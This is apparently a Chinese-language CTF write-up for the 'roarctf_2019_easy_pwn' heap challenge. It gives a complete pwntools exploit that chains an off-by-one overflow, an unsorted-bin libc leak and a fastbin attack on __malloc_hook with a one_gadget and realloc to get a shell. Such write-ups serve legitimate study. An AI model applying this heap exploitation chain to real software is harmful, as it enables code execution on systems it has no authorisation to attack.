image.png
    保护全开
    ida里就是这样的函数
    image.png
    creat函数
    image.png
    write函数
    image.png

    1. LODWORD是低字节的部分

    free和show完美函数
    也就是说只要第二次的size比第一次大就可以多写进一个字节的数据
    首先我们要泄露libc的地址还是通过unsorted bin来泄露libc

    这道题目保护全开,控制堆块在bss段上,我们怎么样去看bss段呢?
    我们在ida里是知道偏移的距离,我们可以通过vmmap知道结构,第一个就是起始位置
    或者我们可以 知道进程编号
    cat /proc/[pip]/maps

    1. creat(0x18)#0
    2. creat(0x18)#1
    3. creat(0x88)#2
    4. creat(0x88)#3
    5. creat(0x28)#4
    6. creat(0x28)#5
    7. creat(0x68)#6
    8. creat(0x18)#7
    9. payload = b'a'*0x18+p8(0xb1)
    10. read(0,34,payload)
    11. free(1)
    12. #debug()
    13. creat(0xa0)#1
    14. #debug()
    15. payload = b'a'*0x18+p8(0x91)
    16. read(1,0x20,b'a'*0x18+p64(0x91))
    17. #debug()
    18. free(2)
    19. show(1)

    我们通过off by one 来实现
    我们先free掉下一个堆块通过上一个堆块堆size进行改变然后通过create申请一个相同大小的堆块
    原始申请的堆块位置
    image.png
    先free后通过前一个堆块修改size,两张图不是同次进行,位置不一样
    image.png
    我们要让堆块恢复到我们最开始预想那样
    image.png
    0x91 不进fast bin,然后我们free掉这个堆块,因为可以show上一个堆块从而泄露出这个堆块的内容
    然后第二部分就是fast bin attack
    要在malloc_hook 附近进行伪造bin,组合拳

    1. payload =p64(0)*5+p8(0xa1)
    2. read(4,50,payload)
    3. free(5)
    4. #debug()
    5. free(6)
    6. creat(0x90)#2
    7. payload =p64(0)*5+p64(0x71)+p64(malloc_hook-27-8)
    8. read(2,0x38,payload)
    9. creat(0x60)#5
    10. creat(0x60)#6
    11. payload=b'a'*11+p64(one_gadget)+p64(realloc+2)
    12. read(6,27,payload)
    13. #gdb.attach(io)
    14. creat(255)

    这里onegadget打不通,onegadget是要满足栈帧条件的
    https://blog.csdn.net/Maxmalloc/article/details/102535427
    参考这篇博客
    就是要改变esp,多个push和少个push就相差很大
    所以我们的目的就是malloc->malloc_hook->realloc->realloc_hook
    image.png
    realloc_hook与malloc_hook就相差0x8

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. io =process('./roarctf_2019_easy_pwn')
    6. #io = remote("node4.buuoj.cn",29489)
    7. elf = ELF('./roarctf_2019_easy_pwn')
    8. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    9. #libc = ELF('libc-2.23.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(size):
    14. io.recvuntil('choice: ')
    15. io.sendline('1')
    16. io.recvuntil('size: ')
    17. io.sendline(str(size))
    18. def read(index,size,value):
    19. io.recvuntil('choice: ')
    20. io.sendline('2')
    21. io.recvuntil('index: ')
    22. io.sendline(str(index))
    23. io.recvuntil('size: ')
    24. io.sendline(str(size))
    25. io.recvuntil('content: ')
    26. io.send(value)
    27. def free(id):
    28. io.recvuntil('choice: ')
    29. io.sendline('3')
    30. io.recvuntil('index: ')
    31. io.sendline(str(id))
    32. def show(id):
    33. io.recvuntil('choice: ')
    34. io.sendline('4')
    35. io.recvuntil('index: ')
    36. io.sendline(str(id))
    37. creat(0x18)#0
    38. creat(0x18)#1
    39. creat(0x88)#2
    40. creat(0x88)#3
    41. creat(0x28)#4
    42. creat(0x28)#5
    43. creat(0x68)#6
    44. creat(0x18)#7
    45. #debug()
    46. payload = b'a'*0x18+p8(0xb1)
    47. read(0,34,payload)
    48. free(1)
    49. #debug()
    50. creat(0xa0)#1
    51. #debug()
    52. payload = b'a'*0x18+p8(0x91)
    53. read(1,0x20,b'a'*0x18+p64(0x91))
    54. #debug()
    55. free(2)
    56. show(1)
    57. io.recvuntil('content: ')
    58. io.recv(0x20)
    59. libcbase = u64(io.recv(8))-88-0x3C4B20
    60. log.success("address:"+hex(libcbase))
    61. malloc_hook = libcbase+libc.sym['__malloc_hook']
    62. realloc =libcbase+libc.sym['__libc_realloc']
    63. log.success('malloc_hook:'+hex(malloc_hook))
    64. log.success('realloc:'+hex(realloc))
    65. one_gadget = libcbase+0x4527a
    66. payload =p64(0)*5+p8(0xa1)
    67. read(4,50,payload)
    68. free(5)
    69. #debug()
    70. free(6)
    71. creat(0x90)#2
    72. payload =p64(0)*5+p64(0x71)+p64(malloc_hook-27-8)
    73. read(2,0x38,payload)
    74. creat(0x60)#5
    75. creat(0x60)#6
    76. payload=b'a'*11+p64(one_gadget)+p64(realloc+2)
    77. read(6,27,payload)
    78. debug()
    79. #gdb.attach(io)
    80. creat(255)
    81. #pause()
    82. #debug()
    83. io.interactive()